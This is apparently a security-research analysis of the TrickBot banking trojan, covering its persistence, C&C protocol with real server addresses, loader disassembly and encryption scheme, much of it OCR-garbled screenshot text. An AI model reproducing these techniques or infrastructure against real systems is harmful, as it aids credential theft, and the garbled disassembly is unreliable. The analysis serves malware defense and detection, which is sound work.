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Recently, our analyst Jérome Segura captured an interesting payload in the wild. It turned out to be a new bot that,
at the moment of analysis, hadn’t been described yet. According to strings found inside the code, the authors

named it TrickBot (or “TrickLoader”).

Many links indicate that this bot is another product of the threat actors previously behind Dyreza, a credential-
stealer. While TrickBot seems to be written from scratch, it contains many similar features and solutions to those

we encountered analyzing Dyreza.
Analyzed samples

o f26649fc31ede7594b18f8cd7cdbbcl5 — initial sample, dropped by Rig EK
o 3814abbcd8c8a41665260e4b41af26d4 — unpacked: intermediate payload (loader)
= £24384228fb49£9271762253b0733123 — unpacked: final payload (TrickBot) — 32bit <-

main focus of this analysis
= 10d72baf2c79b29bad1038e09c6ed107 — 64-bit loader
= bd79db0f9f8263a215e527d6627baf2f — unpacked: final payload (TrickBot) — 64bit

TrickBot’s modules:

e 533b0bdae7f4c8dcd57556a45e1a62¢8 — systeminfo32.dll
e ¢5a0a3dba3c3046e446bd940c20b6092 -systeminfo64.dll
e 90421f8531f963d81cf54245b72cde80 — injectDI132.dll
o 90f766020855047c3a8138842266c5a — the DLL injected in browsers (32bit)
e (0b521fd97402c02366184ec413e888cc — injectD1164.d11
o 5a7459fb0b49a8b28fae507730e2a924 — the DLL injected in browsers (64bit)

Additional payload:

e 47d9e7c464927052ca0d22af7ad61f5d — downloaded sample
o e80ac57a092ffcf2965613c8b3c537c0 — unpacked

Distribution

The payload was spread via malvertising campaign, which dropped the Rig EK:
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Behavioral analysis

After being deployed, TrickBot copies itself into %APPDATA% and deletes the original sample. It doesn’t change

the initial name of the executable, however. (In the given example, the analyzed sample was named “trick.exe”.)

AppData » Roaming » - | 4 | | Search Roaming
Share with = Mew folder ==« [0l

Mame Date modified Type Size

1 Microsoft 2015-07-2014:15 File folder

1 Modules 2016-10-20 16:51 File folder

| Mozilla 2015-06-19 00:38 File folder
||| client_id 2016-10-2016:51  File 1KB|
| _| config.conf 2016-10-2016:52  CONFFile 1KB|
||| group_tag 2016-10-20 16:51 File 1KB|
57 trick.exe 2016-10-2016:41  Application 403 KB |

First, we can see it dropping two additional files: client_id and group_tag. They are generated locally and used to
identify, appropriately, the individual bot and the campaign to which it belongs. The content of both files is not
encrypted; it contains text in Unicode.

An example of the client_id consists of the name of the attacked machine, operating system version, and a

randomly-generated string:

H client_id - Motepad
File Edit Format View Help
TESTMACHINE_W617601.0E119CF3A011BD23E4FEBAT 2BEF1B99E

Example of the group_tag:
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j group_tag - Motepad
File Edit Format View Help
femt2

Then, in the same location, we can see config.conf appearing. This file is downloaded from the C&C and stored in

encrypted form.

E coenfig.conf

Offset(h) OO0 01 02 03 04 03 06 07 08 0% OA OB OC OD OE OF

00000000 07 58 97 SB F7 9F 61 AD 73 35 65 92 73 38 92 AC LX—[+Za.s5e’s2'-
00000010 69 35 43 2D 11 &7 23 DB 4A 17 C1 9B 8E BO F6 4A i5C-.g#07.A>Z%6J
00000020 89 C3 CF AS B6 C7 52 AF BD 21 7D 9A DO D9 6E A3 wAD"ICRZI"!}3DUnk
00000030 FO 13 D9 20 96 80 84 A3 4E FO 66 19 E7 95 FA 14 4.0 -€,ENdf.geu.
00000040 4A 6E B2 10 62 28 27 76 02 CO 1A 74 55 DO EO AR Jn,.b('v.R.tUD:S
00000050 D8 BS 6A 1C 92 AD 40 A4 D3 54 2E 18 B7 DD 37 65 Rnpj.’.@=0T..-¥7e

00000060 83 94 38 2C E3 70 49 C8 3D 64 EE B6 SA CD S& 67 .7 8,4pIC=digzizg

After some time, we can see another folder being created in % APPDATA% named Modules. The malware drops
additional modules downloaded from the C&C, which are also stored encrypted. In a particular session, TrickBot

downloaded modules called injectDII32 and systeminfo32:

AppData » Reaming » Modules »

n library = Share with Mew folder
Mame . Date modified Type Size
J injectDI32_configs 2016-10-20 16:59 File folder
|| injectDII32 2016-10-20 16:59 File 500 KB
|| systeminfo32 2016-10-20 16:59 File 21 KB

This particular module may also have a corresponding folder where its configuration is stored. The pattern of the

naming convention is [module name]_configs.

» AppData » Roaming » Modules » injectDIE32_configs

older
Mame Date modified Type Size
| dinj 2016-10-20 16:59 File 2KB
|| dpost 2016-10-20 16:59 File 1KB
|| sinj 2016-10-20 16:59 File 1KB

When we observe the execution of the malware via monitoring tools, i.e. ProcessExplorer, we can find it

deploying two instances of svchost:

] [ brick exe om 4540 K 9680K 1436
[m7 swchost exe 1196 K 3688 K 2388 Host Process for Windows 5... Microsoft Corporation
[m7 swchost exe 876 K 1752 K 2364 Host Process for Windows S... Microsoft Corporation
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The bot achieves persistence by adding itself as a task in Windows Task Scheduler. It doesn’t put any effort in

hiding the task under a legitimate name, and instead just calls it “Bot.”

Mame Status Triggers Mext Run Time Last Run Time Last Run Result  Author
@ Bot Ready At00:00 every day - After triggered, repeat every 00:01:00 for a duration of 1 day. 2016-10-20 16:57:00 2016-10-20 16:56:00 (0xFFFFFFFF) Author Name

General | Triggers | Actions | Conditions | Settmgsi History (disabled)

When you create a task, you must specify the action that will cccur when your task starts. To change these actions, open the task property pages using the Properties command,

Action Details
Start a program C\Users\tester\ AppData\Roaming\trick.exe

If the process is killed, it is automatically restarted by the Task Scheduler Engine:

[l [0 svchost exe 013 28088K 32920 K 876 Host Process for Windows 5... Microsoft Corporation
[ [ taskeng exe 1MEK 4156 K 3012 Task Scheduler Engine Microsoft Corporation

= [0 trick exe <0.0 4436 K 9612K 2116
[m°]svchost exe 1216 K 3744 K 2360 Host Process for Windows 5... Microsoft Corporation
[m7]svchost exe 022 876 K 1783 K 3396 Host Process for Windows 5... Microsoft Corporation

Network communication

TrickBot connects to the several servers:

242 myexternalip.com text/plain 16 bytes raw

326 myexternalip.com text/plain 16 bytes raw
Ceis) 15616.royalwebhosting.net text/html 5684 bytes BOT_PACKED.bin
1492 207.244.97.80 application/octet-stream 344 kB 7aff_id=1193&auth=2d0fbffe203e050bcc15bd2ebb74f90a&r=9207860&t=1

15616.royalwebhosting.net text/html 5684 bytes Preloader_c07.bin

First, it connects to a legitimate server myexternalip.com in order to fetch the IP visible from outside.

The interesting part is that it doesn’t try to disguise as a legitimate browser. Instead, it uses its own User Agent:

“BotLoader” or “TrickLoader.”

Most—but not all—of the communication with its main C&C is SSL encrypted. Below, you can see an example of

one of the commands sent to the C&C:
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POST /tmt2/TESTMACHINE_W617601.0AA51603462315124EDCSEB74D617D48/660/ HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.@ (compatible; MSIE 7.8; Windows NT 6.1; Trident/4.8; SLCC2; .NET CLR 2.0.58727; .NET CLR 3.5.38729; .NET CLR
3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 188.138.1.53

Connection: close

Content-Type: multipart/form-data; boundary=--------- EBBAOKIYWDTVJESP

Content-Length: 727

----------- EBBAOKIYWDTVJESP
Content-Disposition: form-data; name="data"

POST / HTTP/1.1

Host: ocsp.digicert.com

User-Agent: Mozilla/5.8 (Windows NT 6.1; rv:38.0) Gecko/20188181 Firefox/38.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;g=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Length: 83

Content-Type: application/ocsp-request

Connection: keep-alive

0Qo0eMeKeIe P (. A...B..GBB.X....>.3...6...8....c0+....¥.D.... .&a .k.
----------- EBBAOKIYWDTVJESP
Content-Disposition: form-data; name="keys"

----------- EBBAOKIYWDTVJESP
Content-Disposition: form-data; name="link"

http://ocsp.digicert.com/
77777777777 EBBAOKIYWDTVJESP- -
HTTP/1.1 200 OK

connection: close

server: Cowbo

date: Thu, 20 Oct 2016 15:02:43 GMT
content-length: 3

Content-Type: text/plain

/17

Looking at the URL of POST request, we notice the group_id and the client_id that are the same as in the files.

After that, the command id follows. This format was typical for Dyreza.

The bot also downloads an additional payload (in the particular session it was:
47d9e7c464927052ca0d22af7ad61f5d) without encrypting the traffic:

-Stream Content

GET /7aff_1d=1193&auth=2dofbffe203e050bcc15hbd2ebb74f 90a&r=0207860&t=1 HTTP/1.1 L

Connection: Keep-Alive
User-Agent: BotlLoader
Host: 207.244,97.80

HTTP/1.1 200 OK

Date: Fri, 14 Oct 2016 20:58:56 GMT

Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/S.5.9-lubuntud.14

Accept-Ranges: bytes

Content-Length: 344576

Content-Disposition: attachment; filename=2a3d458322d70046f63dfdBb0153eced clicool.exe
Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/octet-stream

C&Cs are set up on hacked wireless routers, such as MikroTik. This way of setting up the infrastructure was also

previously used by Dyreza.
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(| 37.109.52.75 @ |[Q kearch IR =T

\k-'—' I J
Mikror ik
RouterOS v6.34.4

You hawve connected to a router. Administrative access only. If this device is not in your
possession, please contact your local network administrator.

WebFig Login:
Login: |admin | Login
Password: | |

SAm 4,

Winbox Telnet Graphs License Help

S mikrotik

In this example of a used HTTPs certificate, we can see that the used data is fully random and not even trying to

imitate legitimate-looking names:

https://193.9.28.24/tmt2/TESTMACHINE_WG617601.653EB63213B91453D28A68C80FCA3ACA/5/sinj/

: Certificate Viewer:"rvgvtfdf"

General | Details

Could not verify this certificate because the issuer is unknown.

Issued To

Common Name (CN) vgvtrdf

Organization (Q) tg4rétds
Organizational Unit (OU) rst

Serial Number 00:C5:63:15:A8:0D:6A:86:E5
Issued By

Common Mame (CN) rvgvtfdf

Organization (0) tg4rétds

Organizational Unit (OU) rst
Period of validity

Begins On 08.06.2016
Expires On 08.06.2017
Fingerprints

SHA-256 Fingerprint 34:04:69:57:08:B1:C8:F9:7D:B4:D4:E3:3C:57:F8:4F:
23:BO:DF:E@:BE:75:14:77:0B:43:2A:5B:AB:66:25:2D

SHA1 Fingerprint 92:75:D5:27:40:CO:BO:1C:ES:52:32:3D:0F:53:68:D7:8A:74:FF.BF
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Inside the malware

TrickBot is composed of several layers. As usual, the first layer is used for protection: It carries the

encrypted payload and tries to hide it from AV software.

/ Crypter (protection layer) \
/ Main Bot Loader -32 bit \

i Ny
Bot 32 hit
(TrickBot core)
., A
i Ny
Bot 64 hit
(TrickBot core)
., A
\ Bot Loader 64bit /

Loader

The second layer is a main bot loader that chooses whether to deploy a 32-bit or 64-bit payload.
New PE files are stored in resources in encrypted form. However, the authors didn’t try to hide the
functionality of particular elements, and looking at the names of the resources, we can easily guess

what their purpose is:

- ) RCData

.. IDR_XB4BOT: D
-y IDR_XBALOADER : 1033
foee Uy IDR_X8GBOT: D

Selected modules are decrypted during execution.

At the beginning, the application fetches information about the victim’s operating system in order to choose the

appropriate way to follow:
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LI D AT 1L
fa4 01836
ga4 616838
084 8183D
08481041
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; GetMativeSystemInfo

pPuz=n ELaA

call eax

mov ax, [esp+3Bh+var_24]
cmp ax, 9

jz short sysol

J | ¥
FEE
00481043 cmp
80481647 jnz

ax, 6
short sys32

fall s =

fau 1049

00481049 syshh:

B8uB1849 mov
BB8uB104E jmp

; "IDR_X64BOT™
eax, offset aldr_xé6abot
short loc_4B81855

ae4@1e508
00481858 sys32:
80481058 mov

; "IDR_X86BOT"
eax, offset aldr_x86bot

\ v ¥
ol ) =

go4 01055

AO4B16855 loc_4@1855:

ao4@10855 lea edx, [esp+38h+buffer]
08481859 push edx

00481850 lea ecx, [esp+3Ch+1pHemn]
8046185E push ecx

8o4061065F ﬁall get_resource

ao4@1864 mov edi, [esp+38h+1pHem]
ae4 81868 test eax, eax

apup186n jz short loc_4818C5

Depending on the environment, a suitable payload is picked from resources, decrypted by a simple algorithm, and

validated:
il s 5
agLp1080
884010888 decrypt:
08481088 xzor [ecx], al
88461082 imul eax, BAE529h
00481088 dec edx
88481689 add eax, 24D6%9h
884B188E inc ecx
8048108F cmp edx, ebx
ag401091 ja short decrypt
]
Yy
FEE
88481893
868481893 loc_4B1893:
00491093 mov [esp+3Bh+buffer], ebx
904810897 cmp esi, 48h
go4818%9a jb short loc_L@18C3
_ Y
I
8840109C push esi
0048109D lea ebx, [esp+3Ch+buffer]
804810A1 mov edx, edi
fa4e18a3 kall validate_pe_file
ad4Be10n8 test eax, eax

The decrypting procedure is different than the one found in Dyreza, however, the general idea of organizing

content (three encrypted modules in resources) is analogous.

def decode(data):

decoded = bytearray()

key = 0x3039
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See full decoding script: https://github.com/hasherezade/malware analysis/blob/master/trickbot/trick decoder.py

Returning to our malware analysis, next, the unpacked bot is mapped to the memory by a dedicated function and

deployed.

The 32-bit bot maps the new module inside its own memory (self-injection):

[ [ L N T I B T
BEZ45008 BE6 1 TEaE
BEZIEEEE | BEESHRER
BA4AGARE| BEAE1HEAE| £ ickbot
B6405000 bobo1anG | Tr i ckbo | - et
trickbot |.rdata
Ba484808 ) BE061088| trickbot | .data [ el
BE485888 | BEA=FBEE| trickbot | .rsrc
BE44EERE | BEEEABEER
BASHEERE | BEEE0aE
BESSEARE | BEEE4HAEE
BASIEARE | BE1E 1A
BACAGEEE ) BE1 1 FEaE
TEEIEEEE| BEEE1BALD | webio

T2e91886 | BE83288E | webio BEHT
T2EC3EEE | BEEEREEE| webio .data
TEECOAER | BEAEFEEE| webio S PSTG

and then redirects execution there:

BE4E17AR
BE4a17A0
BE461FEA
Be84817ES
HAA46E 1 FEES

BE4E17ER

Friw HekS ] HEG |Hw Rl |
Priv BEE2] 662 B RUWE

[D] Dump - 00240000..00256FFF [ro - B 3]

HEZ4EE1E| B @ @G
GEZ4EEZE) BE A @R
DEZ40620) B8 6@ ag
BEZ4E64E) BE 1F BA
BEz46850) 69 723 20
DEZ4080E) 74 28 62
HEZ4EE7E) 60 &F &4
BEz46826) A6 29 FD
HEZ4EETE| EE 2@ BG
BAZ4EEAE) EE 26 1@

T2BOCH0R| BOBEIA0E web ia relas || GAciGDEDIED E I

FEHEBEEE| BEEE1EEE | winhttp
ToHE18@8) Boa40888| winhttp L EEHT
FolZEB@8 Boaa1a8s| winhttp .data
2513000 Bo0aaon|inhsin |orels
winhttp P al-g Ruln]
FE47BEEEE | BEEE1EEE | winns i T | e [
FEAT 1080 BEEE3EEE| winns i heHt
7sdragnn oogioog|winns| | ldata

oaz40808) E2 48 92
HEz4EEEH| 80 SE 3C
HEZ4EEFE| 80 SE BE
GEz40106) B8 B ag

oEz40l26) 88 61 B8R
GEz46126| FS 0D ag

08 B8 08 95 08 B8 60 80 623 A1 B8 88| ... .. eeea ga. .
HE B4 @3 CO 21 B2 81 4C CO 21 54 &5 A¥||H.H.=t5EL=tT
T2 6F &7 v2/ &l 60 2B &2 &1 &E &E &F| is program canno
28 72 7S GE| 28 69 EE 298 44 4F 53 28|t be run in DOS
2E B0 60 BA 24 B8 BE @8 66 B8 BE B8 mode. ... 5. .00.a.
E2 42 93 61| EZ 48 93 &1 EZ 48 93 &1|2)F20HialHialHia
EE 42 93 &1 EE 28 B8 &1 E& 48 93 &1 | UB+alHialb. aSHGa
A7 45 93 61|21 47 F3 &1 E2 48 93 41| UBkaiHiatG~aNHia
E6 42 93 &1/ EB 38 17 &1 F3 48 93 &1|2r8aSHialiG$a Hia
EZ 42 93 61 21 47 CE &1 F5 48 93 &1| tG[fafH a2t HraEHGa
1| 0H[a<Hd=tRvanHia
1|2{a" Hia2 . aflHda
1| 2 >RaWHiaRk ichiHaa

HMOU ECH, DORD PTR OF: [EOH+E=C]
MOU EDX, DWORD PTR DS: [ECH+EwC]

MOL DWORD FTR DS: CEDX+8x152]1, ERK
MOU ECH,DWORD PTR DS: [ESI+EXZS]

AOD ECH,ERA
CALL ECx

MOL CCOCALTET , 6 1

Entry point of the new module (TrickBot core):

A2 g
BE2400FE
BE240EAZ
BE240EAS
aaz24DEER
BEz40E18
BE240ELG
BEZ40ELC
BE240E22
BE240E24
BE240E2D
aa24DEZE
BE240E33
BE240EZ6E
BEZ40EZS

ntdll.77ES7E94

call loaded FE

CHLL 8824E33F
JMP BE240BER
IMT2

JMP DWORD PTR
JMP DWORD PTR
JMP DWORD PTR
JMP DWORD PTR
JMP OWORD FTR
PUSH G 14
FUSH Bu251358
CALL Ba24E2324
MO ERK, DWORD
MOY DWORD FTR
CHMP ERX, —H:1

O5: [Ax24F2CA]
DS [Bx24F2BC]
05 [Ax24F 264 ]
05: [Bx24F2BA]
05 [Au24F2AC]

PTR DS:[B:253218]
S5:[EBF-B8:1C1,ERX

JME SHORT BEz240E47

TrickBot main

meucrt.edcept ions twhat
meuwcrt . eHoepk ion: s eHocepk ion
msucrt . eHocept Lon: fedcept ion
meucrt . Free
meucrt._CHuThrowERcept Lon

In the case of 64-bit payload being chosen, first the additional executable—a 64bit PE loader—is unpacked and

run. Then it loads the core, malicious bot.

In contrast to Dyreza, whose main modules were DLLs, TrickBot uses EXEs.

The TrickBot internals

The bot is written in C++. It comes with two resources with descriptive names: CONFIG, which stores encrypted

configuration, and KEY, which stores the Elliptic Curve key:
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4 || RCData 00011764 |68 00 00 00 45 43 53 33 30 00 00 00 F3 20 86 DB |h  ECS30
iy COMFIG:0 || 00011774 |20 4D FO 73 37 BS FB 18 BO CO AF 80 BE F3 FB FL | M a7
I KEY D 00011784 |42 CO 3B C6 00 1F 23 EF 1C 4C 06 54 B3 8F A6 19 |J: & L T

00011794 |[7C 41 57 EB OB BC 7F 41 A1 58 79 70 0D C3 A1 38 | |BW [R ¥yp @
00011724 |1C 5E E2 7A D1 29 FB Bé 55 41 D5 8E C7 C7 3E 1E ~z) DR o
00011784 |F3 B4 67 63 D3 50 F5 5B 5F D1 CO 56 BE 38 &7 DB gc P [ V&
000117C4 |B5 44 D7 E1 38 79 3E 63 2B 03 2E C3 D ayscr .

In general, this malware is verbose: meaningful names can be found at every stage.

The name “TrickBot” also appears in the name of the global mutex (“Global\TrickBot”) created by the application

in order to ensure that it is run only once:

LI LA TR w [ I T TR L R T Sy ey ey m R e TI T, LTS TR

BE4ECAFS |1 > [LER EHH.[LDEHL.E]
BE4ECAFC || ¥ | MOW ECH, CLOCAL.11

HE4ECAFF . FUSH trick_bo.B8@48F&F4 MutexsMame = "Global~~TrickBot""
Ba4acead (| . PUSH @x1 Initialdwner = TRUE
ga4Eceas (| . FUSH ERX pSecurity = BER0EBET
BE4ECEAT (] . Mol CLOCAL. 4], 50
BE4ECEEE (] . Mol CLOCAL. 2], Exk
AA4EACELE (] . Mol CLOCAL.2],ECH KernelBa. 7&1176EC
g CALL OWORD PTR DOS:[«<&KERMEL3Z2. LCreateMutenll
6a4acE1E (] « Hall DWORD PTR DS:[ESI],EAX
Ba4aceza (| . MO ERX, [LOCAL. 11

ga4Ecezs (| . TEST ERH, EAA

EE4EACEEE || o+ | JE SHORT trick_bo.BB848CEZE
BE4ECEZT (] . FUSH ERX hMemory = DEEEEEET
BE4EcEZS (] . CALL OWORD PTR DOS:[«<&KERMEL3Z. LLocalFres

EA4ECEZE || » | CHMP DWORD PTR DOS:[ESI], A=A
BE4ECES1 | JHZ SHORT trick_bo.BB4ECESE no exit
HE4ECE3S . FUSH &=l status = Bul
BE4ACESE (] . CALL DWORD PTR DS:L[«&msvort.edbenit
EE4EcEsE || » | CGALE OWORD FPTR DS:[<&KERMELZZ. CGstLastErcor
FAE4ACES 1 0 WOR EDw, EDH

o CHF_ER, BxEY ERROR_ALREADY_EXISTS
BEd4EceEds (] . SETE OL
BE4ECE4E (] . MOL ERE, EDK
Ba4ace4n (| . MOW ESP, EBP
BE4ECE4F (] . FOF EBP
Ba4aCcEEE (L. RETH

At first execution, TrickBot copies itself into a new location (in %APPDATA%) and deploys the new copy, giving

as an argument path to the original one that needs to be deleted:

21 || . |HOY EAk, CLOCAL.2]
. |ADD ESP, 012
=7 || - |LEA ECk, CLOCAL-113
. |PLUSH ECR pFrocessInfo = BEZIEB38
S6 || - |LEA EDX, CLOCALTSE]
2k || . |POsH EDX pStartuplnfo = BA12F7AB
F (| . |PUSH ERx CurrentDir = ™C:ssUserssstesterssAppDatassRoaning™
. |PUSH exa pEnuironment = NULL
. |PUSH exa CreationFlags = @
o |PUSH Gu@ InheritHandles = FALSE
« |PUSH Gu8 pThreadSecurity = NULL
o |PUSH G:6 pProcessSecurity = NULL
o |HOUECK, BB
« |PUSH ECH Commandline = "CiwsUsersatester AppDatas~Roaming pay load 3.ene " CivvUsersistesterDesktoppay load 3. exnen™"
. ESSH[EEEQL - Modu LeF i LeMame = NULL

01, G dd
CALL OWORD FTR'DS: [<4KERNEL3Z. CreateProcesshls LireateProcessul

Adding a task of running bot into the Task Scheduler:

aa4a12ES || o | JL trick_bo.@Ed@lsEs

. MOY EDI,trick _bo.B88418F 70 UMICODE "TrickBot™
aE4a1zFs (| . LER EEX,[LOCAL.4]
AE4E12FE (] . CALL trick_bo.B8481888
BE4E1ZFE (] . MOU ERA, DWORD FTR DS: [EAX]
AE4E12F0 (] . CHP _ERX,ESI
v [ JE SHORT trick_bo.BBE461265
aE4a12a1 (] . MOU ECH,OWORD PTR DS: [EAX]

aE4a1262 || .~ [ JMP SHORT trick_bo.88481267
QE4E1285 | x| KOR ECH.ECH
aa4E1zay || x| MOM ERM,.CLOCAL. 3]

HE4E136R 0 MOU ED, DWORD FTR DOS: CEAX]
BEGELIEC 0 FUSH ESI
BE4E1 2360 0 FUSH ECH
HE4E1236E 0 FUSH ERA taskschd. Y42662A01
HE4E136F 0 HMal ERX, OWORO PTR DS: [EDR+@-3C] taskschd. Y42662A1
0 CALL ERA# taskschd. T42E62A1
AE4E1314 5 LEA EOI, CLOCAL. 4]
HEdEL1317 . CALL trick_bo.@&ds]la58
0 MOV EDI, trick_bo. 8641 8F2C UHICODE "Bot™
AE4E1321 0 LEA EBX,[CLOCAL.4]
oo4otizd || 1| EALE sxick bo-bpdateen_

Setting the triggering event:
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Ba4a154rF || . CALL ER:x
BE4E1EEL |] . TEST ERX,ERAX
AE4EIEES | o | JS trick _bo. BE4E1359
o MOU EDI, trick_bo.@8418F54 UMICODE "Triggeri™
BE4E1EEE |] . LEA EEX,[ARG.1]
BE481551 || . CALL trick_bo.B84818688
BE4E1566 (] . MOY ERH, DWORD PTR DOS: [EAX]
BE4a1563 || . CHF_ERX,ESI
BE4E1EER | o | JE SHORT trick_bo.B8481576
BE4E1EEC |] . MOW ECH, DWORD PTR DOS:LCEAX]
BE4E15EE |] o~ [ JHMP SHORT trick_bo.BB4R1572
BE4E157EA HWOR ECH, ECH msuvcrt . FE1E9E0A

¥
pEd4Eicyz (| > | MOW ERK, CLOCAL. &1

BE481575 MOU ED, OWORD PTR DS: [EAX]
BE481577 FUSH ECx mswcrt . TE1E9S0A
Ba4a1svs || . FUSH ER:
BE4E1E7S |] . MOU ERX, OWORD FTR DS: [ED:+Ew24]
BE4E1E7C |] . CALL ER:
BE4E1E7E (] . LEA EDI,[ARG. 1]
BE4a1521 |] . MOL EEX, EF
Ba4a1522 || . CALL trick_bo.B88481854
ga4a1ses || . CHF EEX,ESI
AE4E155H || o | JL trick_bo. BE481359
o MOU EDI, trick_bo.@8418F36 UNICODE "z2816-@1-81T8a8: 8a: aE™
BE4E1E59E |] . LEA EEX,[ARG.1]

We can find the date pointing to the beginning of 2016, which may confirm the observation that the bot is new,

and was written this year.

TrickBot’s commands

TrickBot communicates with its C&C and sends several commands in a format similar to the one used by Dyreza.

Below is list of format strings used by TrickBot commands:

BE4E8542A | UMICODE "«Xs-Hs- Bl Hesder s s
BE4E55A5 || UMICODE "sis-Hss1/Has"

88485738 || UNICODE "~ hs-ms-S-nug-""

BA4853AF || UNICODE "< hs-ms-1B-Hs ks nd-""
BA485A86 || UMICODE "sks-ns-ld-HesHs B
BA4E5E4C || UNICODE "< is-ms- 23/ Xds"

BA4B5CEC|| UMICODE "sHs~Hs-2E Has"

BE4B5EEY || UMICODE "™Xs-Hs- 62 e HesHe Her"

Compare that with Dyreza’s command format:

WF SSglbd || Hol
BF222C93)| ASC
BFZ33CES|| ASC
AF233CFF|| RSC
AFZ23301E|| ASC
BFZ3ZELF|| ASC
AF2233E93)| ASC Tepk

BF 224287 ASC ot

11 U S£0LT
II
II
II
II
II
il
BF224205 HSE%% MoHssRs s 2R d e He e
II
II
II
II
II
II
II

T ot R - W P -V s - W
B A-Rr gt BN T PPy
R Rs el st
ARt Pl R 4 4- N
S-S P - R P

BF2349FC|| ASC s He s 2R e e
BF234BCZ|| ASC THERESET

BFZ234BF3| ASC "send system info failed™
BF234BFE|| ASC Terrortt

BAF234C7C|| ASC R W WS
HF234EB3|| BSC non ame""

BF234EEE|| ASC e T o s R W W
BF234E98|| ASC R W W o R W

TrickBot’s command IDs are hardcoded in the format strings. However, all of them are deployed from inside the

same function that gets the command ID as a parameter:

[N ] ] ar

8848241C 2or esi, esi

8048341E call ds:GetUserHamel!
80483424 mov eax, [ebp+arg_Aa]
20483427 lea edx, [ebp+Buffer]

2048342D push edx

8848342E push offset allser ; 'user't
884683433 push 14

88483435 call send command to_ CnC
A8483430 add esp, BCh
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After filling the appropriate format string and sending it to the C&C, the bot checks the HTTP response code. If
the returned code is different than 200 (OK), 403 (Forbidden), or 404 (Not found), then it tries again.

00485188

808495188 check_response_code: ; jumptable B8848511F default case
aa4A5188 cmp edi, 288

8048518E jz short loc_4851AD

A J
bl s
80485198 cmp edi, 483
80405196 jz short loc_4851AD

¥
[l = 5

80405198 cmp edi, 4bh4
B040519E jz short loc_4851AD

h | Yvy
full i =]
804851AB push 158008 ; dulilliseconds| |BB4851AD
aa4a51A5 call ds:Sleep ae4a51a0 loc_ L4851AD:
004851AB jmp short loc_L4B51B4 a04851AD mov [ebp+resp_flag]l, 1

¥ |

Here’s a full list of implemented command IDs:

01510 14 23 25 63

Each command has the same prefix — that is a group id of the campaign and bot’s individual id (the same data that

are stored in dropped files). Format:

/[group_id]/[client_id]/[command_id]/...

Sample url:

https://193.9.28.24/tmt2/TESTMACHINE _W617601.653EB63213B91453D28A68C80FCA3AC4/5/sinj/

More notes about the protocol here.
Encryption

TrickBot uses alternatively two encryption algorithms: AES and ECC.
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|l 1 [

apLe2360 lea eax, [ebp+hash_buf]
ABLE2363 push Bax

apLe2364 lea ecx, [ebx+16h]

ABLE2367 push BCX

Ay e2 368 push edi

ABLE2369 call sha256_ 128 rounds
B4 B2 36E test eax, Bax

aBLB23T0 j=z decrypted
| I -
h J
F™E
ABLE23T6 mow ecx, [ebp+hash_buf]
AL e237e lea edx, [ebpruar_14]
ABLE23TC push edx ; int
B4 B2370 mov edx, [ebp+lpHemn]
ABLE2380 lea eax, [ebpepbbata]
42383 push Bax ; int
ABLE238L mow eax, [ebp+arg_@]
B4 B2387 push BCX : generated_iv
ABLE2388 push edx : generated_key
apyB2389 add eax, BFFFFFFDBh
BBLE2IBC push Bax : duBytes
ABLB2IBD add ebx, d@h
BBLE2390 push ebx : Src
a4Ba2391 call aes_decrypt
BBLE2396 mow esi, [ebp+pbbata]
A4 B2399 test 2ax, eax
BLB2398 jz short decrypted
|_|—*
(] 1 [
A0LA2 39D mov pax, [es5i]
aLE2I9F push o ; int
AaLA2aR1 lea PCH, [Pax+esivd]
B4 BE23INS push BCX ; int
AeLe2InG add eax,
B4 E23INY push Bax ; dwbatalen
B4 B2 3IAA push 51 » pbbkata
B4 e230B call eco_decrypt
ABLA23I60 test eax, Bax

The downloaded modules and configuration are encrypted by AES in CBC mode. The AES key and initialization
vector are derived from the data, by a custom, predefined algorithm. First, 32 bytes of input data is hashed, using
SHA256. Then, the output of the hashing function is appended to the data buffer and hashed again. This step is
repeated until the full size of data in buffer become 4096. So, the hashing operation repeats 128 times. Below you

can see the responsible fragment of code:
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Ty
e
LLDT LY g
BoLyBAFT sha2%6 round: ; Algid = CALG_SHA_2%6
BouBuaF7 push BBACH
B4y BYAFC lea ecx, [ebpswar ]
ae484aFF push BLX ; int
aese4B00 lea edx, [ebp+lpHen]
aes84883 push edx ; int
aeye4B0Y4 push ebx ; dubDatalen
PB4 BNBAS push Bax : pbData
BbyaNBR6 call _hash_data
BbLyaNBAB test eax, eax
BdLBNBAD mov eax, [ebp+lpHen]
BoyBayB1e jz short loc_ 4O4B3F
e __1
00404812 cmp ebx, L0946 =
oOLOLEAE jz short hasing done (o] s
™ Aoy BLBAF
- BO4BLBAF loc_ HOBBIF:
-
" BOLB4BIF mov edi, [ebpevar_10]
BO4B4B1A mov edi, [ebp+var_k]
BOLB4B1D add edi, ebx
BOLBLBIF add ebi, 22
BiLaLE22 mou ecx, H
BBLBLB2T mou esi, eax
ae484829 rep mousd
BBLB4B2ZE cmp ebx, 48946
BdLBNB31 jbe short next_round
Yy
e P
00484833 BLBUAF Y
BBLByBEA3 hasing done: BOBAFY next round:
BOLBNEZI mow edz, [ebprarg B]f |oguBuaFy mov eax, [ebpsvar_4]
AOUBNEZE mow [edx], eax T
BBLMBNEIE mou edi, 1

First 32 byte long chunk of data is used as a initial value to derive AES key:

BE4E84RES
BE484REE
BE4E4AFE
BE484AF2
BE4E4AF 4
BE484AF 7
BE4E84AFC
BE484AFF
BE484E88
BE484E83
BE4E4BES
[AE 464 BAS

AAAGRA DGl

1l

. | MOV ECH, 855
Moy EDI, ERx

JMP SHORT trick_bo.B88484AF7
MOU ERE, LOCAL. 11

PUSH Bu2@Ec

LEA ECH,[CLOCAL.21

. FUSH ECH

. LER ED=, [LOCAL.Z1

0 FUSH ED:

FUSH EE:x

PUSH ER:
CALL trick bo.B884684234R

TCCoT OOt Chv

REF HMOUS DWORD FTR ES:[CEDI],OWORD FTR DS:[ESI]

ArgS = AEEESEAEC
FArgd = @OlZFrac
Arg3 = AR1ZFTYA8
ArgZ = ARBEARZE
Argl = @RZ192BS
hash_data

ERx=0Ez123E2

Address

ASCII

PEZ198ES
BEZ19ECE
BEZ19802
BEZ198ES
BEZ138ES

FF

[E]5]
J5]5]

1F
0s
1]
S]]

EE
40
[E]5]
J5]5]

3C

1]
S]]

81
FA
=13
]

1z
46
[E]5]
J5]5]

